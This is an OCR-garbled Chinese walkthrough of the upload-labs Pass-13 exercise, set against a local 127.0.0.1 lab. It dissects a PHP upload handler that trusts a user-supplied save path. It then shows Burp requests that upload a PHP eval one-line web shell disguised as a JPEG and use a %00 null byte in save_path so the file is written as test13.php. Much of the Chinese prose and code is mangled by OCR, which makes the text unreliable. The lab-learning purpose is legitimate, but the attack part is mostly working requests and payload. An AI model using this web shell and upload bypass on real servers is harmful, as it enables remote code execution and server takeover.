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$is _upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png', 'gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name"'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $ FILES['upload_file']['tmp_name'];
$img_path = $_POST[ 'save_path']."/".rand(10, 99).date("YmdHis").".".$file ext;

if(move_uploaded_file($temp file,$img path)){
$is upload = true;
} else {
$msg = " BRI
¥
} else {
$msg = "RAW L. jpg|.png| . gifBBCH ",
¥
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$is _upload = false;

$msg = null;

if (isset($ POST['submit'])) {//FE—FKifiZt
// i3

}

(2. B

$ext_arr B—NEARM, JMHHEZNHE P — A RE R

"jpg', 'png', 'gif’

// 5
if (xxx) {//F—FifiE4
$ext_arr = array('jpg', 'png', 'gif');
// 165
}
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RESCHE N test. php
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test.php = test.php $ FILES['upload file']['name'] IR A5 SCA 4
test.php 4 strrpos($_FILES['upload file']['name'],".") %EEZd\%ﬁ#ififZﬁ?4§quﬂﬂ
7D
4 5 strrpos($_FILES['upload_file']['name'],".") + 1 %EHZd\%kiiZifZ**ﬁiH@%?
T

substr($ FILES['upload file']['name'],strrpos($ FILES['upload file'
test.php php (5 [up - Il ] Pos(3_ ["up - ] R G54

['name'],".")+1);

// 15

if (xxx) {//FE—FifiF4

// 15

$file_ext = substr($_FILES['upload_file']['name'],strrpos($ FILES['upload_file']['name"'],".")+1);
// 15

¥

(4). BA BT

$file_ext A T XMHIESRA, JXMHIEHAN $ext_arr PHIME, FHRHBEN if BH

"jpg', 'png', 'gif’



// 165
if (xxx) {//ZFE—FifiFh]
// 165
if(in_array($file_ext,$ext_arr)){//FEZ#Kif &4
// 165
Y else{//E =FifiZF R
$msg = "RAW L. jpg|.png| . gifRBCH "
b
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date("YmdHis") FITFIREUHBIAIRIE, L xxxx £ xx A xx H xx B xx 4 xx B AR
P45 B AR B ) 3 /NS

// 5
if (xxx) {//B—FKifiFD
// 5
if (xxx){// B=Fif 154
$temp_file = $ FILES['upload_file']['tmp_name'];
$img_path = $_POST[ 'save_path']."/".rand(10, 99).date("YmdHis").".".$file ext;
} else{//HE=FifiFa K
// 5
¥

(6). 3l b S
o BIARMREIULAFHE AN, SR ST W

// 5
if (xxx) {//FE—FKifiEa]
// 5
if(xxx){// FE=FKif 54
// 5
if(move_uploaded_file($temp file,$img_path)){//FE=FifiF4
$is_upload = true;
} else {//FE=#FifiF K
$msg = ' LAEHEE!
)
} else{//HE=FifiEF MK
// 5
)
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jRaw I Params I Headers T Hex }

POST fupload-labs-master/Pass-13/index. php HTTP/M .1

Host: 127.0.01

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWB4, rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html application/xhtml+xml, application/xml;q=0.9 */*,q=0.8
Accept-Language: zh-CM zh;g=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http:/127.0.0.1/upload-labs-master/Pass-13/index.php

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/farm-data; boundary=-----------------mmmmmemm- 310722463010196
Content-Length: 412

----------------------------- 310722463010196
Content-Disposition: form-data; name="save_path”

Clupload!

----------------------------- 310722463010196

Content-Disposition: form-data; name="upload_file"; filename="test13.jpg"
Content-Type: image/jpeg

=?php @eval(b_POST["cmd"]);?=
————————————————————————————— 310722463010196
Content-Disposition: form-data; name="submit"

310722463010196--

W BRI AR GET BUEMiSeE —M, S . ./upload/testl3.php%ee B #ikgeid i Lk
GET H R %00 &4 IRE-22 34T URL fBRGRL null , T POST AR FEE L HE OHIT URL AR null J5H RIERT
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POST fupload-labs-master/Pass-13/index. php?action=show_code HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/s.0 (Windows NT 10.0; WOWE4, rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html application/shtml+xml applicationfxml;q=0.9 " q=0.8
Accept-Language: zh-CN zh;q=0.8 en-US;q=05 en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http:/127.0.0.1/upload-labs-master/Pass-13/index. php?action=show_code
DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=--------emmeemreemeev 267 382637614532
Caontent-Length: 412

————————————————————————————— 267382837614532
Content-Disposition: form-data; name="save_path"

Cluploadftest13. php%00

----------------------------- 267382837614532

Caontent-Disposition: form-data; name="upload_file"; filename="test13.jpg"
Content-Type: image/jpeg

<?php @eval($_POST["cmd"]);?=
————————————————————————————— 267382837614532
Content-Disposition: form-data; name="submit"

I‘r;‘.lrs’el.

267382837614532--

_ L e DENT 10 INTrUaer LI+
Content-Disposition: form-data; na Send to Repeater Ctril+R
fuploaditest13. php%a0 Send to Sequencer
............................. 673828376 44 Send to Comparer
Content-Disposition: form-data; na Send to Decoder

Content-Type: image/jpeg Request in browser »
<?php @eval(§_POST["cmd"]): 2> Engagement tools >

............................. BT 3828376144 Change request method
Content-Disposition: form-data; na Change body encoding

Copy URL

9673828376144 Copy as curl command
Copy to file

Paste from file

Save item

Don't intercept requests

Do intercept

Convert selection

URL-decode

URL-encode as you type . o
| Jri-encode key characiers
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POST fupload-labs-master/Pass-13/index. php?action=show_code HTTR/1.1

Host: 127.0.01

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWB4, rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html application/xhtml+xml, application/xml;q=0.9 */*,q=0.8
Accept-Language: zh-CM zh;g=0.8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http:/127.0.0.1/upload-labs-master/Pass-13/index. php?action=show_code
DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/farm-data; boundary=-----------------mmmmeemm- 267382837614532
Content-Length: 412

----------------------------- 2B7382837614532
Content-Disposition: form-data; name="save_path”

Juploaditest13.php

----------------------------- 267 382637614632

Content-Disposition: form-data; name="upload_file"; filename="test13.jpg"
Content-Type: image/jpeg

<?php @eval(b_POST["cmd"]);?=
----------------------------- 267382637614532
Content-Disposition: form-data; name="submit"

2B7382837614532--
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® 127.0.0.1/upload-labs-master/upload/test13.php £} phe
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INT ~ = § SQL BASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENC(

@l Load URL [ http://127.0.0.1/upload-labs-master/upload/test13.php

& Ssplit URL

4 Execute

[] Post data

(4). % B shell
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[] Referrer 4 OxHEX ™ & %URL B & BASER4

Insert string to repla
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